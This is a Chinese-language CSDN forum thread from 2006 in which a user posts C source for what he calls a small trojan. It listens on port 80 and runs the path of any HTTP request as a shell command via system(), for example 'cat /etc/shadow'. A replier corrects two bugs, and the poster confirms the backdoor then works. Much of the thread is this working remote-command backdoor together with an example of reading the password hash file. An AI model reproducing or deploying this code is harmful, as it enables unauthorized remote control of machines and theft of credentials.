CSDN首页 空间 新闻 论坛 Blog 下载 读书 网摘 搜索 .NET Java 视频 接项目 求职 在线学习 买书 程序员 通知
IBM Rational 系统开发最佳实践工具包 WebSphere MQ 最佳实践 TOP 15
CSDN社区
搜索 收藏 打印 关闭
CSDN社区 >  Linux/Unix社区 >  程序开发区

通过socket,自编程识别http协议数据

楼主YanDong_8212(谢科)2006-03-08 12:13:01 在 Linux/Unix社区 / 程序开发区 提问

以下的程序算是一个小小的木马吧,设计目的是通过浏览器来控制远程UNIX系统。比如输入 http://192.168.0.111:80/cat /etc/shadow 就能在浏览器里看到 /etc/shadow 的内容。(转自chinaunix)  
  #include   <stdio.h>  
  #include   <unistd.h>  
  #include   <sys/types.h>  
  #include   <sys/socket.h>  
  #include   <netinet/in.h>  
   
  #define   SA   struct   sockaddr  
   
  int   main()  
  {  
  int   n,   listenfd,   connfd;  
  char   rbuf[1024],   wbuf[1024],   cbuf[256],   *str;  
  FILE   *fp;  
   
  struct   sockaddr_in   servaddr;  
  if   ((listenfd   =   socket(AF_INET,   SOCK_STREAM,   0))   <   0)  
  perror("socket"),   exit(0);  
  bzero(&servaddr,   sizeof(servaddr));  
  servaddr.sin_family   =   AF_INET;  
  servaddr.sin_addr.s_addr   =   htonl(INADDR_ANY);  
  servaddr.sin_port   =   htons(80);  
  if   (bind(listenfd,   (SA   *)   &servaddr,   sizeof(servaddr))   <   0)  
  perror("bind"),   exit(0);  
   
  if   (listen(listenfd,   10)   <   0)  
  perror("listen"),   exit(0);  
   
  for(;;)  
  {  
  int   No;  
  bzero(cbuf,   256);  
  bzero(wbuf,   1024);  
  if   (connfd=accept(listenfd,   (SA   *)NULL,   NULL)   <   0)  
  perror("accept"),   exit(0);  
  else   printf("accept...\n");  
   
  if   ((No   =   read(connfd,   rbuf,   1024))   <   0)  
  perror("read"),   exit(0);  
  else   printf("read   buf:%s       read_return=%d\n",   rbuf,   No);  
   
  if   (fp=fopen("~~~tempfile~~~",   "w"))  
  perror("open   tempfile   error"),   exit(0);  
  else   printf("open   tempfiel\n");  
   
  fclose(fp);  
  str   =   strstr(rbuf,   "GET   /");  
  str   +=   5;  
   
  for(n=0;   *str!='   ';   n++)//'   '  
  {  
  if   (*str   ==   '%')  
  {  
  str   +=   3;  
  *(cbuf+n)   =   '   ';  
  }  
  else   *(cbuf+n)   =   *(str++);  
  }  
   
  strcat(cbuf,   ">~~~tempfile~~~");  
  printf("%s\n",   cbuf);  
  system(cbuf);  
  if   (   (fp=fopen("~~~tempfile~~~",   "r"))   ==   NULL)  
  perror("open   tempfile   error"),   exit(0);  
  strcpy(wbuf,   "Result:");  
  if   (write(connfd,   wbuf,   strlen(wbuf))   <   0)  
  perror("write"),   exit(0);  
  fgets(wbuf,   1000,   fp);  
  while(!feof(fp))  
  {  
  strcat(wbuf,   "   ");  
  if   (write(connfd,   wbuf,   strlen(wbuf))   <   0)  
  perror("write"),   exit(0);  
  fgets(wbuf,   1000,   fp);  
  }  
   
  fclose(fp);  
  unlink("~~~tempfile~~~");  
  close(connfd);  
  exit(0);  
  }  
  exit(0);  
  }  
   
  我将此程序运行在linux系统上,最初上面的程序阻塞在accept处,当我在windows下的浏览器输入http://192.168.0.111:80/cat /etc/shadow后,程序运行accept,但继续阻塞在read那里。  
  当按下回车时,收到一串空格和一个\n,当然后续工作也失败了。  
  不知道是否需要设置成守护进程,或者是程序有什么问题。  
  多谢! 问题点数:200、回复次数:5Top

1 楼fierygnu(va_list)回复于 2006-03-08 14:20:44 得分 200

没仔细看程序:(  
                                                if     (fp=fopen("~~~tempfile~~~",     "w"))     //这对吗????  
                                                                        perror("open     tempfile     error"),     exit(0);  
  另外怎么不用popen执行,那么复杂的用system?      
  Top

2 楼YanDong_8212(谢科)回复于 2006-03-08 14:54:21 得分 0

现在程序是能运行的,关键是无法正确接收来自客户端的数据。HTTP头正确的应该是以“GET   ”开头的一串字符串,但实际没接收到。Top

3 楼YanDong_8212(谢科)回复于 2006-03-08 14:56:28 得分 0

程序是来自:  
  http://fanqiang.chinaunix.net/program/netpro/2001-04-19/1901.shtmlTop

4 楼fierygnu(va_list)回复于 2006-03-08 16:17:58 得分 0

这是什么人写的,也敢贴出来?  
  if         (fp=fopen(     "~~~tempfile~~~     ",             "w     "))         //这对吗????      
  应该是  
  if         (!(fp=fopen(     "~~~tempfile~~~     ",             "w     ")))         //这对吗????  
   
  if     (connfd=accept(listenfd,     (SA     *)NULL,     NULL)     <     0)      
  应该是  
  if     ((connfd=accept(listenfd,     (SA     *)NULL,     NULL))     <     0)      
   
  其它的可能越界一类的地方就先不说了,改这两个地方试试吧。Top

5 楼YanDong_8212(谢科)回复于 2006-03-08 16:34:55 得分 0

还是大哥仔细啊,我太大意了,没仔细看,现在的执行情况就正确了:  
  GET   /cat   HTTP/1.1  
  ...  
  哈哈,谢谢,谢谢!  
  Top

相关问题

  • Socket编程:
  • socket编程
  • socket编程!!!
  • socket编程!!!
  • SOCKET编程
  • SOCKET编程
  • socket编程请教!
  • 有关socket编程
  • SOCKET 编程问题?
  • Socket编程问题!

关键词

  • wbuf
  • cbuf
  • tempfile
  • include

得分解答快速导航

  • 帖主:YanDong_8212
  • fierygnu

相关链接

  • CSDN Blog
  • 技术文档
  • 代码下载
  • 第二书店
  • 读书频道

广告也精彩

反馈

请通过下述方式给我们反馈
反馈
提问
网站简介|广告服务|VIP资费标准|银行汇款帐号|网站地图|帮助|联系方式|诚聘英才|English|问题报告
北京创新乐知广告有限公司 版权所有, 京 ICP 证 070598 号
世纪乐知(北京)网络技术有限公司 提供技术支持
Copyright © 2000-2008, CSDN.NET, All Rights Reserved
GongshangLogo